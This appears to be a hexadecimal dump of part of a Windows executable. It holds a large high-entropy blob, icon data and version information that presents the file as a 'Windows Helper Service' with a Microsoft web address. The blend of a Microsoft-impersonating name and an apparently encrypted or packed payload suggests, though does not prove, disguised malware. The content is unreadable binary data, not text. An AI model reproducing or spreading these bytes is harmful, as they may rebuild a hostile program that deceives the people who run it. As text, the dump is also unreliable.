BFB51588C45B4A6008231278C26052FDF92A97E4421B12037F5FFBCD371A12D60B369A2188A29DB8B11E5780C46326FF26A682943C901A013024DB61222112786C1B137E58B7D3673F4E107C31A6043A2826955E3DA2FF6120191278CE008DDB29CC88F835209B4A499E1C78391B9570B92A9929451B12B97A04BD83391BC4F3A12440C821721778391AE33BF2A8CF39796BFB65471B120D24AEF2D91F9A8EE52CBF95386266975349A0A87A391B453823A4137839606C3B0A2C15B83D04028B391B953C4AA2FFD5FCA6EA61722A127814637B86807F0743221E1778391AF3E0B1774DCD21991F78396BFA693E1B1261FE261278FAE1F1D406C744488B851AD10A05FC3F4C1B1291B792661D743E6A6091251278C4605EA30203CF7F391B9DF57D041379391B5EF5AB563A4128C266010C036977391A96642E6BFA193E1B12770A049E7C391B65185BC151B466FD7DD8C4901ABEC4981E03872B3D53237E1078394F1792BCABE38EA89ED67CBCE216615B191278C76006021E6B11EE29044A88391B1AA1072236A17E1316B875A6AA1C3A1B1201970B9C38C59BB278391B15BD35041B8A391B92F9BFBA2E3A4A1B67CC966C65CA22C61F783913ECB6702F77721D8B2341220E1B78392A94DC401B123B659736A0C2973694220F177839274FAA340368011F9ED674C5601EA90203FB7E391BFBC5461B12D81A81117527BD3D50499D1D78391B15C84154E587BBDB1478399ED2A0822A979D3D1B1261E61D1278135E6209104A9BBD7DA88778C4682A01FA7268CF22982478392D6D4023A99DF57DA65FC4C2FF05239EBC4278391B95F5911B21FD8D1B12782262127839905CEB795C58FBF91F212F821D9BC5752AC9C049A45F94BCDB2661A2181278C5D3AB7631EF9BD559A2DB03AF5F9965C59852038257051D3D602E011E04B678391BB5A82AD1A144C568520182239B5CC5731E03952795F5911B21FCC91D127822590D7839D6BAC1A742D64D64DD1E788EA6FEC98C6DFB3E441B1237F6C87463956B6560361D12789374FB623F1B12CFEDA0AC7B496C62CF21442378394CDB033E3FFA4F3F1B1261AF1B12780B369A2188A2B6ADC48E1EFF381E8784C90EB7FF027A70D222441678391B137E58B71FCB8A6D62D16CED5C61FB181278CE008DDB29CC88C7C5A66FB4C498527BB1279DED7D1E828CC463226182181278B5831BA6202A96873B1B1261C0231278FC7066D5BC0737614D281278197CF8F7B588342392A60A027F5F9977929EFE7C8D767C782242127839DEE2898FCA7E03954F4D50499F1778391BFA91431B12037F5B15B875048082391B7B86807F07438D6B69CEC2EDFAA03A1B12FBFD23FB4F411B125796E81483711A888038EB6CD392E4FB44371A12CDDE553528AB512187BDF2167839401178399A63FF026B63601927127822D71678398D4DA00209BABC489F7679391B9D40C1E49DF3491E8FB8C44E976E23D81978393CB8B77548F4E351949DCA3D9CF477391A927B0C9ED488C46D167913048283391BA249508A3E55BFDB21FCF71712783DDE9977C55B1A033AA457AC22C80E7839E9199CEEA521FC5124127889A652B06CE4FADB3D1B12017F5BFB77421B1294C6DDDD7013037683391B953C4272FA07491B12037F5F15B87504D875391A78721D8B436E0927FBDD3E1B1260BC1F127864E621FD8D271278218E167839047A7F391B1278391B1201E882168D22D5157839A66A843AF99DC049A4E4C98C04137B391BF3DE3817001B65F34BE0091E6E81218D1B78396BFA5D3A1B12771A8377B934C29B6E2366137839E0ECBB89ACE8E2398512FF266E994190035879391B6D0823381E7839B824D30104A1770A756DD102DD1A78391B127839905CEB795C58D7152A9735321A12629A151278C5606208C35E32037F5B9BBB51045972391ACB113812E79DC4783A81142A9671371A12FCFC07963B4E9E8D8439041584391BA144370DCE20832A9598381A12A4F9033D7D391B21FB9D261278EC1D5361931D127863EE321960DACE259CA66F7CC2EDCB98391B1203A63F3AFF38A6020015A6100039DCF87C22980C783914F1CFEDA0AC7B499ED69042DB21FC361D1278C260223B9AABFB523B1B12D50B369A2188A2B6B1402A9987391B12FB28175C87BE0912783904D283391B7161401B12783F3AAE857B669DEF491E8590C4214DBD452A948C431B12A37E27FB7B431B122FCE008DDB29CC8887F06318FF268115B84D9EFA60C56B1E7B0FA4F6B31304C573391A415FBEB0FC0B22291A78396B9B4A229A1178391AF3E0AD05DA6722151A7839049770391A92F4A63DBDD0F29CF478591B12037A431339C78F3688C2FF6301FADE9B5C3A1B127839606C3B0A2C6827C35F36949ADD1A7899A66E9C5DA2DB038557FB52451B120A15637B86A31B7C96A31B7C82A31B9B388C04D684391B07432DDBD33E197CD5D8C4702203A63F36FF02A6577822DF1078391D1DB0529989CCC2F1955E3DA6862D3AA4D27B2B4E09A229044485391B5EF5AB563A41C5233DC531A41AFB231D995323760A783973FB13331A12238DBB331E79573F5A499F2378391BBFB37E2721FC21101278832A9767391A12ACF904E86D391AEAAC3E3595080B316BD302DD227862DBFB3A351A1279391B12784144E07F5DD0D9BDA11A127839A2ED3F7F87BEE1391BD9BDA91C127839A4F63FBF9B1278391D127839E257EC3D1B1278C6608A6188221278BFBA2E05FC03D87E391B62607219127839902677AF2B11EE45A4086253171278785226DD33FE82A92FA6569C61041378391B629D391B1178771B12AC4B73FB1C3E1B12AA34039C26A11F63D06AE4FA673A1B12D392A0D261361B12783508B5A311CB220822D61478392DD287BC0E1278392A97963D1B1222CA04A374391AD8527D6BA34E6903D175391A1249FD9CFE7C3A1B120120831579391BFB033D1B124023A9D95CBDDD22033C5657E0489FF273391A966232040078391A1378391B12B97F7AEEC5BBA6CA60B8141278C360563BC5786E03FD1E52B422F407783940CC1B6A0CC987BD20127839041878391BFAD43E1B12D0C4686AFD0204E373391ABBC1A742D64D64EE9BD571A66AE042F621FC3B1B12783CF49BD56104017E391BBFDA24B30B579174BD61AA1112783D6052FB21196461911112784A6CA867E676D48039DE7CB8C2DB7A78691B12C8222F177839369A2188A2B6ADC4139A41910EB7D721931B7839A657D422F00678391C1897D52854C3B174D87B39769B6E7B6C6501FA03816F391AFCA3431B12DB29CC88C77FA4E48A0BA4083C65E45360BE1C127822A00A783924405FBEB0FC0B1A7C9D6BC3119C6FFB0117FF14DC017E6C19167323AA0F7839DEE2898FCA6703269EFE7C00600E88ABC2EEF97E1724894A2C6861E9141278817F07432DDBD3037F5F99653D5B4EFB21039EC579A66A883CF4FB7B381A127B44532BF6B06FB7B274701A87BD331A78396D7C7CC2FF6401FA032571391AFCFB3A1B12AE48678FEA7443DB662273107839041F79391B95703B2A9789421B1260C219127823141378391B1278391B67228DBB331E79BFA2BB822A97422F1A12DA02DD1E78391B127839FD7D90B279E9ACDDCE140822C21278392A9569391A12AA0203AD78391BFBD6341A128FA847EFCAD42395703B2A967A391B12ABF9A457D02129127839A457D422A7197839A5C5F8BAA1B1033E3F3778291A12DFBA535FD248A04B7D391B6501FD04317D391B0A52785226DD336B9977398F36A0C0F6FA9D351A12C9388F36A0215E067839042174391A446E09274FAA489D1580391B45382322057839714538BA591261BE221278A32E7259A01A0F662DBF70618E1A12783CED9B4A49A07B76391A9D8EC211FCD1371A12517339A96CFFF5FA9B2D1A12027F8795F5A91C21FDB818127839907E77AF5FFBE4361A120A104AFE154C76DA6122E3077839A657BC89A2ED6050241278C46052D6C2FFFB8C411B12ED838E52B97F7AEE017F1377196A1B1278C45B1E0392279BD535A665902286107839A6CA113812E79DF3BE6C011EA0D287BE93187839A60C7CB8579D37BA1B1278229513783964809FFDF03C4B3B13963C3E1AF303BF9B12783926D287BE74107839045D76391A7563D214F1CFEDAB67F925A3127839A6FECE00605E78AD1B126193211278CF0ABFD50B3668604C1C1278FC83B26FF923FA2C3C1B12C8223A07783969991C6F2545783A216877AF77FA56391A12E339839278391B7C7B22E1167839668AD1F7D221FD401B12789079FB7B391B127BAE5BBFFF38C41278399BFB64311A12DC29CC88C7C52A9682391B12FB21135C87BE6D047839A6627CC0E4935A391A12F83CEEFB91351A12826702970DCF706A2B3B719D6FCA44D861B6191278209A8EE55BC66A31D82A9985341A12FCB62B1287BF7E187839A657888186D2A02270187839DEE2898FCA7E95CB1EDDA38A2B9DB9551ED5033EAB153BCA04526A391A5ADC2EE50588BE071078394011783A1B6277AE3F3A60FE0B127823011078391B1278391BF1D4061D1D0A94746DD6C0F6DBFF3804CE7E391B661D743EC2E938FB7A6C4FAEC260DD1C127889ABFA8D321A12781A1B1278391B5EF5AB563AFD382A965E3E1B12791046D2CFC0F6CB7D391B1261391312787648F4E35194704F6E2A977D391B12618A151278C5DD3B418C03DF73391AFC03411B12E765F86413C5631AFF14A42BDCC4303E78391B9DB4D3A2FF036AA2DB03821FFBE12A1A12805DD09C2BBA9C9881F92A969A2D1A12D13C601A23235F0478391B1278391BEBB6702F77721D8B63CAC45F368CC4773688C4664E038E268E011E04ED7A391BE184764D0D61C3C96A6139161278C5786EB3913721FD391B1278C4632E61A60D12789AFC787736835DC1E16CFA383A1B12C8214E0A78391A888438901A61AD12127865F34B96D0DD1A788EA4F7FB252B9953C3600E029713FC2C2D1A1262C8E2F6ED838E52603A13127839EBD47C39A2FFC8A1CAC89272038878391BFB042C1A12123812E79DF36C7AC246E91BFF14037078391B62600A12127839EBFBC7391B1244370DCE20838939FBB1931287BD261278391A88D4389052606F101278C5605261FA17127864EE321960DACE259C1CDD0197479D10C61B1278C278360392373D512340067839B515888AB1012597EDD5CE9DBC4278391B9DB845A4D203AA27BF61D9201278C0BF47826C1B137E21F91178396BA2608A121278398F367C38EBD47C391B1278391B1FBA84936B36C5B3BA78391B9753499F1678391B1551C1089CD569A6AA003A1B1261BB1A12782ACC88C7C5574087BD580C7839A315BB7A04567C391B1278391B12816702970D24AED978391B1278005B1678391B123F7F2B32AF28E1FAEE3E1B12057F279DF8C11B1278223C0D783988342392D4B0CD8D7863CB8B8341E73F2BFBF2311A12D3FCEB23CEE8726860F5101278BDDF1601321E52B4229D0078398420BF9D10DD6BC3600E78AF276277AF23A2604B20127838901A61371F1278061D1DB0529989CCA14F3E5883030C77391A6360A611127839902277AF27FB34281A129CE98C4887859884B33C764EDEBA5662BDC2116E010C2A964B3C1B12A5392B127822CD0C78391B1278391B00207E70BCCBD9A6447BAE779B6E8CAB3D41C55D166050141278233B177839338BD6104F1792BC86DBA03CDC9DD0491E6A8C3C7876CBC2DBFBA02E1A12568CB61AA1077B9DEC5D3F9DF45D430E0230CD92AB14041D72391AD54332F450AF3C5B4E03BADB127839A0D2010C2A960A281A127CFCA40804974FFB69361A125CAA4C084846584DBD312A9880391B12FB002FFB1A361A12E355A857542393127839C9797C4E8525D8C4671DF03CE64B40499D986A391A164275DCFB1B3C1B12BB89ACE8A7C42D154B906D7060631512783DEBA261B00712781E905CEB795C58CB8A6D9DBD41A4E47B79579DB889049872391A9E30D3190AE3398513E0391B12F88F034468391A943C3E1C127822C01278394B032FC9E70F6BF56B6860200B1278C76002C9A31F9B5C23CE0078393BB39EF8D7BF30393A8E418A039475391A63602E0F127839FB1278391B12C6C0BF47826C1B137EE5ECFA87BDE60278392EDB61A50A1278CBA4D261421B127884936B36F1AFF7F281A4F6391A23BEFF02031970391A5078B61B1287BC5D017839043C67391A89C7C5D8C4F3A1246501FA8512CEC008FB262D1A12D464DE9B6E23B4037839977F9AE47362FF146B70303A2B1278C2FF43412284097839A60A62FC0612784B71C1E456ADEDC0489FF469391A9EBB451E57B889030D67391A9838238A047839E50539FBE1F1D4062A9702331A12D39276953C62E4FB82351A1292B792661D741A88603990EE608918127899A62DB39617FC4A391A12B461E400207EA4D57B795762FBF933D9BD6D9368AC4BA692203A1B1261920D127879573F5AA5E257782D18AFF9C01ADABD3D5ED461DDE25780BCAB784D01601EEE1AE07BFF02E257908D27127800607678391B126178101278549EA249508A3E55499F1978391B52BE22820A783979D578391B127855A8D44332F450E0399B1278A31B99658A83EF6D8DE8FA80351A12C922910D78398B436E09274FAA3403D6FF38A6169CFCA6169C64606EA3FCA211621A131278A01A0F66DC46EAB157A65E83B1A0DB87BD1C0A78391EDDAB2FA8262B3D6C32013004D575391A6E4023A9D95CAF651550C56E1AFD0B2A97BD331A12048C2B1B4A234B0C7839D5B5A82AD1A1446DE4A2FB21039EB871030F6E391A9CBD7973FB14301A12AC391C1897C6608AC8C2ED11EEAD1A88D4C66056C822F0097839668AD1F7D2A65DB47E21FF0D0A1278BB079378391B66D38CA6DA01FAA51361DF161278209A8EE55BC66AF9FDA3127839789BBC5D1F9B6EC5E315B8752AC9C84F04466B391A21BF9D10DD6BFADC6BF9FD9B1278396B63D6215F09783903136E391AFCED281A12B1529989CCDEDE9DC95D1EE50849D226EAC9A65394C008163BC1E4FB90231A1288859884B3616C7C78A1F0AC4F6C851201FA8345AA391B7AEDAC808461C0081278BBA1B194C6DD9BBD2DA66F6C3D7802B4FCA2DB87BC1CFF7739A62A61D8061278A01A0F66DC4621FB3C1B12786C700EC248A03465391A6CC148A02565391A0A4B23D10A7839B824D30104A13F1E907AC5B2677B030E8513E25983A878391BA2E02D1C1278C2DBFB1D2C1A1204F2B410700E40CC0EE7A6529097DE9DBC5D1FFB98371A12D0EDA0AC7B496CA8C148A09169391A9EE45D3FA2017F1B9BD53DA408DAFB231278391B12784762766D040ED3390003D777391A9EBD35E4D480397066D522FDFE7739338BD6104F1792BC8385B9391B7ABBA57C85FF02A6DE08A28A8978398369E1A77F7AECAD877761981A1278176DAD8062E96C038723A2013BA4D9010A6D6B619A09127865F34B96D00FFB902B1A12FC00235B87BE88FF77397A11EE7D72FB2E291A12793A2131148D6C64CE90A66F84C2EDFB12221A12C4B174D02FCE759BBD7DA66C7CC2787EE2396EFB54231A12102EE0ECBB892A968A2B1A12DFBEDB21FC380C12785F1A2278391ED5FF141E577423020478391B1278B7DAEEE74E7B026662D8C8EF32DAF4995880DBF141D85F568CACDEE928508364B854026671D1E965624E2C4FEE1A8CB356807746ECC4D6EB615E8371624F02F1AF278EDB3ED8474AEC2DBB67624F0227238E872672D0A767624F03C34ED8FBEB615E8672624F02EF43D8FDF1BF2FECD5634F02EB3D5E8BA0634F02F12A50D3E760B80266625E86D3624F02E760190366625E86D9624F02E760E90266625E86F9624F02E760CD0266625E8602634F02EB2B5E8979624F02EFBF373656ECC4E2F1D7438CDB4E382C66624F355CEE9CD6EF3B52DA67BF432C5F8C12862C64D000777B4F0275E432026662DA5F5EEEC4FEEF4DD8FB4F194F0266EB1A045FEEC4F669AF238EB34A38A766624F8D59661E3641EE4306B35EDAD0EFAF3B0633E61204E75D551E66625E844B624E02F0BF3B8CDB3A387B66624F2BB346D8774EEE9CF2F13BD8F369AF3BECC9624F0291D73F8C37ECACD699587A4F52EC1A886572D91066624F8B47EC3A0439669CFE4F924F0266934A06B33ED4CB75EE6102666278E5F1BF438C2796ACD669BF37EC73624F02913E524F4EEC2806C356805F52EC9CE6E9285083640B50026671D1A965624E8E3F4C75026662DAE0EF3082CBEF3850CDEFD727064096ACEE9152D2C367E348C166624F11E8454E0266EEC4FEEFAF2B8C27EC3D8C49962A044F94C4D6EF30DA7742E61204E75DCE0766625E844D624E02F0D73B8E59EE4336B34AD8FB7504D8FB9958D8E5EF53D85F426442862C64D0004B664F0275E437026662DA7742EEC4E2EF4510CBA5E70F12EA154D02664BB3036662D8D099BF2B362694ACEEE75BE70266625E86BD624F02E75BCB0266625E86BF624F02E75B470366625E86C0624F02E75B1C0366625E86C6624F02EB345E8B75624F02F12EDA773A8C9CD69750381066624F8B3494ACFAEF407AF7F153D800F03582CDF1AF3B04B35E383B66624F8D598C408C6496C4FE4F8D4F0266ED2D0645961D8C374C6C026662D8E897BF438E43669CFE8FAF33EC71624F02F1BF2B8EB34ADA7746661B8E58E81812E6024F02668D9CDEF12E825F52E84E12F0F24F0266934D8E5A8EC4DE693A505F62E4487A66624F11EA8B4F0266E3488966624F11EA8F4F0266E348BC66624F11EAB44F02668DC4EEEF4550CDF12D7A4F3E4C9E02666282774AEEACDEF1D72F8C514C8E026662D40176E96F026662D800F0D73F885C72DC0F66624F8BC33EDA4F3A642D06B346D8F5EFD7338CDB3A50E0EF3B381166624F35B34A78DBF15782774A662C8E59EEACFAE92250835E7C68026671D1A864624E06DB46DA3E8AE33E7B80A24F832D634F4266E513079934D84F5EEC94FAF1BF3F045964328C47E453999A523C2BF1BF432EB35ADA4756EC94EEEF3552F6E9245083607255026671D1DC65624E882672DC2867624F2DC34682CBEFA7438E2BEC2E8C3566440637E61004E75BED0866625E844A624E029A5878F3E7605A0266625E869B624F02E760780266625E86AA624F02E760700266625E86AF624F02E7604F0266625E86B1624F028FA7378E62642636AB52DAD74FA64F0266EB27883872DB0C66624F8BAB3E8200F2B73706616416EC8E624F02F15EDA5756EC3836E342DACC4F7A4F0266EB9CDEF1A7438EAB3E380C66624F033FEEA4D6F15A82DCEF52DA5762E61504E760C40D66625E84CC614E02F2D723884172CF5866624F8DBB36D4D475E79202666252C9EB615E8B72624F0297437AFD97D733EC8E624F02EFA73F3665644A8C2864288EDB3E78773AE61604E7616F1266625E844B624E02F031D8475A66ACF68FAF438C64EEA4DA693ED87F528E94D64F944F0266ED298EAB4ED4F875EF5C026662D8DA67A7472EB346381266624F2DAB5A7A774E96C4FE8FBF338CB35ADAFFEFBF378EBB3ED8F9EFBF43CC4E6D4F026695428E57EE24344EEE1F8E7286D0EBF57F8F02E723E710A662D2C66A65488C44E82112E9874F0266952B8C40962A8C60EE118C3EEE228E5DE61204E75D2F1D66625E844D624E02F255DAC9EF6082C99127A08D5D64118464834F026671D36B66624F8364FD4F026671D38566624F8364344F026671D39D66624F8364E34F026671D39E66624F872672D60F66624F3359963F8C5D964BEC6E624F02F127DADAEF49DAF4EF4A50E9F15A82C2F157D8F4EF2582F59739D2C267E347C078624F11E8494E0266EE2DECDC624F02F15282C26751DAFC8F51D8E1E92250835EDB4F026671D1EB65624E8E5DEE258E5E4C9F026662D8FA9934D8F99940D8EDEF28D2C467E349BF73624F11E84B4E0266EE148C284C7B026662D8C8EF55D8D0EF45382266624F3538EC428E5A943A8C36EE42862864D0FCED814F0275E436026662DAFE8F28DAFF6755D8E0292F1BCF322F1BCF322F4F0266620000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004000000000006000300000040000080040000006000008007000000800000800B000000980000800E000000B000008010000000C80000800000000000000000040000000000020001000000E0000080EA000000F8000080000000000000000004000000000002006D000000100100801C0100002801008000000000000000000400000000000100770000004001008000000000000000000400000000000100CA000000580100800000000000000000040000000100000020020080700100800000000000000000040000000000010001000000880100800000000000000000040000000000010009040000A00100000000000000000000040000000000010009040000B00100000000000000000000040000000000010009040000C00100000000000000000000040000000000010009040000D00100000000000000000000040000000000010009040000E00100000000000000000000040000000000010009040000F00100000000000000000000040000000000010009040000000200000000000000000000040000000000010009040000100200003402010068040000E4040000000000009C06010012030000E404000000000000B009010064010000E404000000000000140B01009E030000E404000000000000B40E0100BF020000E404000000000000741101000F030000E404000000000000841401001A000000E404000000000000A014010014020000E40400000000000008004D00410049004E00490043004F004E000000280000001000000020000000010020000000000000000000000000000000000000000000000000000000000000000000311D10452C1C10AB22170EE31E150FF11B130BF221120BEC2C1B0EE23B2414D13C2212C0351C0FB3331A0DAE321B0DA2331A0D78331C0E37000000001E19142166493EFFA6623FFFE66634FFF36C39FF09C0ECFF15AECCFF2B7678FF4B352DFF8D6557FFB4877EFFB58F89FFB88E8BFF331B0DA134180E4A151311104A382C9EDA9558FFFF9E5DFFFF9166FFE0A99CFF83C5DCFF33C7E9FF1DD4E8FF2EA4A4FF5C4634FFC79D78FFF2C5A1FFEEBDA5FF331A0DAE341A0D4F322C2557BE5C35FCFF8C4FFFF7D4C2FFFDFFFFFFFFFFFFFFFFFFF6FFF6E1D6FF70BAD0FF1ABBDBFF296874FF8A6B50FFE8BC95FFEFBFA8FF331A0DAF331A0D504F372BB5E65F30FFF29B7CFFFAFFFFFFD9B8A7FFE1C7BCFFFFFBF6FFFFFFEDFFF5B6A0FF3796B8FF1B98B9FF564335FFE3B791FFF0C1ABFF331A0DAF331A0D50623D27EFF66C36FFF6C6B1FFF0DBCDFF843928FF6F261BFFAE7B6CFFDAB3A5FFFFB396FF7F757FFF1DA49BFF3B352DFFE4BB97FFF0C3AFFF331A0DAF331A0D50433354FF1632F3FFE9C0B2FFF0C6B1FF904532FF630C00FF6A0F00FFA56255FFFFAB9BFF8F764FFF32A42FFF3F3C2EFFEBC8A7FFF1C5B1FF331A0DAF331A0D5035316CE5263DF6FFB8A8CDFFF7D8BBFFC57D5BFFC6784CFFCE9B7FFFE7C1ABFFFFADA9FF779F4CFF3DB73BFF645540FFF5D4B8FFF2C8B5FF331A0DAF331A0D5044373F9C3D4FEBFF6A79F8FFFFFAD3FFF2D1B7FFF8E2CDFFFFF9E7FFFFE6D8FFEA9890FF57D055FF469C41FFA38C78FFFADDC5FFF2C9B7FF331A0DAF331A0D5046382D2E585581E96377FEFF8A9AFDFFCFD4F9FFF6F2F5FFF4DED7FFBAC797FF74DD6EFF53CF56FF7E725EFFE8D0BCFFFCE1CBFFF3CCBAFF331A0DAF331A0D50594938024839305A6F6786FF7E8BECFF97A4FDFFA9B4F8FF92FA95FF80EB80FF60C560FF7F7A64FFD9C7B8FFFCE6D3FFFCE4D0FFF3CDBDFF351B0FAA351A0D4D0000000054402E03BB9074FF8F8585FF736A83FF727880FF6D885CFF778263FFABA094FFEAD9CDFFFDEADAFFFCE8D8FFFCE6D4FFF4C9BAFF3A2011993D2213430000000000000000DCA987FFFFFAF7FFFEF8F3FFFEF6F0FFFEF4ECFFFEF2E9FFFDF1E6FFFDEFE2FFFFD5CCFFFFD5CCFFF5B3AAFFA9786CE04228187448271C2E0000000000000000DCA987FFFFFDFBFFFFFBF7FFFEF9F4FFFEF7F1FFFEF5EDFFFDF3EBFFFDF1E7FFF7A643FFF7A643FFE09240FE472B1A914E2E2048593721170000000000000000DCA987FFFFFFFFFFFFFEFBFFFFFBF8FFFEFAF5FFFEF8F1FFFEF6EEFFFDF3ECFFDCA987FFEAB376FE684832C24F3324645337222555391C090000000000000000DCA987FFDCA987FFDCA987FFDCA987FFDCA987FFDCA987FFDEAB88FFD6A384FFDCA987FFD9A9892D00000000000000000000000000000000C00000008000000000000000000000000000000000000000000000000000000000000000000000000000000080000000C0000000C0000000C0000000C00F00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005041000000EC5D9A0000C97BFE00EBCFE00000000000006D00A700003DA900220000A300760000A10000712939004E00000000000000CC03459F009B76B38000000057000E00000000E200000036000000000000000077D500560B00B27C00C9DD0000000200FC000000F14200004500000A00000000002A84000000430A00000000000000000000003700000000EA1A0000A1C60000D2000000750D0000368B00000000CA0000005BBC0000009C6C000000E506000000E3000000000000000000000000C3000000ED3300000000BF0000A000A6570000002C00006C00003C0000330042005F0090D60000AB00000000001A2200E10000474E2B620000D000080079009E00F6000000A500008A00000095000027007B00000000000000B200000000000000000000D6000000F50000000000000000000000CE0000C6001E000A24009460000009A5C3B000000000FC0000006B0000E93CF6107DAD0100000000B200B0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000050411800DF0000200000000000000000DCF9000000000000000000000000000004530000000000000000000000000000009F00000018000000008700002F0000004C00008500120A00000000004FAC0022000000A80000B800F200770000000099000000CE00C20000009A000000C70000000000C3007F00009700003F0000A6B400B6000000000000EA0000001046000000006B00140000000000000000D16FD7E8000046000030000000E600000000BDAE00000000CD00000500004EB00000F9A5000071C90700BE0000000F00000000B7000000000000003581000000470000C80000000000E01E0000AA00F400A2000061000000AA38000018E20069008F003E640000DC001E7C3800000000DFC4930000000000009800EB00009500000000FDD4002D0C00000069000000000000CE00030077FE0026D70C44B300F200000000000000BA000F9FBE000600DD00000000FB000000A40000006700000000000000640000000000000096000000B86B0000003A00000000FEAC00001600000E8D00006C00370000000000000000880000000000CB00F5A9B02398000000974C009EAAE12400000059000300F148004200000000000000AA00CA00D500496C00000000E1D300005C0009006400F200001D00530000000000003150000000006817C16000770000000062063156FC0100000000000002F23A000000090100000000000000F4000000E9FC0000E1000000A8000D0000C100A21D0000CDFC000000EBE65E00000000005A00CD000011000000CB000000D360000000E6970000009400FB000000ED00AC8700130061670000000000000000BC890000000000C100CC07000091D000F92E00000012CD0000000000150000007C0000000000000000000000000000220025000000000000000000380000000000600000FC00003B0012000000000000BD00000000CD50720000000000000000D50000000000009843000050BB009400000000CE3900000000000000432E000000000000004A000000000000000000528C00000000000100006B3F00D50000000008000000008F00298200009F0000000000001F1100AF0000004100A700000000140000B40000000000DE00000000E4B00000000060920000000000000000372A0095177123000013000000000000000000610000000000000000CF00CD0000DB2C0000E400000000000000000028000000D219005900000000000000000089000000DB00000000009D000000000000DD72003F00B800000073690000A40098000000560000000000553600004AD9000014000000000000BC0000000000332A0000001C67EB9C00A1000076000400000000DB3B000000003200000000000000F500F6006000670000000000005F0000007EA700520000762CBEC670001300000097000000000095000000000007000000880005005F000000A62A0000E2000000000C0000000000000000009000006F9700398A0500B900233C00000000D5E6007B49000047D2B36C9000000000000014004F000000000000B400002300009700000000000000000000000000A50600000075007700000000B37E005300E4D2EBA900D3003200000000000000E3000000000000810000D50000004700000000000000F6009100008100ABE10000000000DC89001E00F40000000000003D000033007CF7E7820082510000ED00FC006B0000000000DA3F00D2B300000000D700FCBA0000000000003C00E8004700000082B6008284000000006C000000E36F0000B700EC8FCE49120044004A0000ED000F1000000000B500009900CC00000082009BC20006000063005D0000000000000000E10000008C0000000000003A0000CC224AF50000B53D0000000000FA0000E000000000000000000000C10000D20000D200002E0000F0000000390000C50000006D001767007D00000000000000F2B0C01700009F00006C00A9000000000000DE66000000CF00000000003300002D007600000000CD0000000037E5000000350000000000E3BA0000F60000000000B900B60000E6CD00000000A2007AEB0033003500004428009CF9005000000100010010100010010020006804000001000000000000005041140234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000003400BD04EFFE000001000000010000000A000000010000000A003F00000000000000000000000100000000000000000000000000000074010000000053007400720069006E006700460069006C00650049006E0066006F00000050010000000030003400300039003000340045003400000058002E000100460069006C0065004400650073006300720069007000740069006F006E0000000000570069006E0064006F00770073002000480065006C007000650072002000530065007200760069006300650000000000300010000100460069006C006500560065007200730069006F006E000000000031002E0033002E0031002E003000000030001000010049006E007400650072006E0061006C004E0061006D0065000000570069006E00480065006C0070000000340010000100500072006F006400750063007400560065007200730069006F006E00000031002E0033002E0031002E00300000004C002A00010049006E007400650072006E00650074005300690074006500000068007400740070003A002F002F006D006900630072006F0073006F00660074002E0063006F006D0000000000440000000000560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000904E40450414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47585850414400100000E40000002B303130523058308E309F30D030E630EC30FC3002311231183149317531A331AC31B231E53106325C328032EA32043314331A3332337A338033B63347346F34E034313537356935BB35C135DB35F5350F3621364B365936823688369036A036CC36DC36E236373747374D37CA37D037D637E737F13726383C38443875387B388338033909393439523969396F39813987398D399339A839AE39B439BA39C039C739ED39F839303A4C3A813A963AA83AB03AB63A033B443B653B6B3B853B8D3BC53BCB3BD73BF13B0E3C7D3C833C893CE23CE83C023D083D0E3D143D00000000000000000000000000000000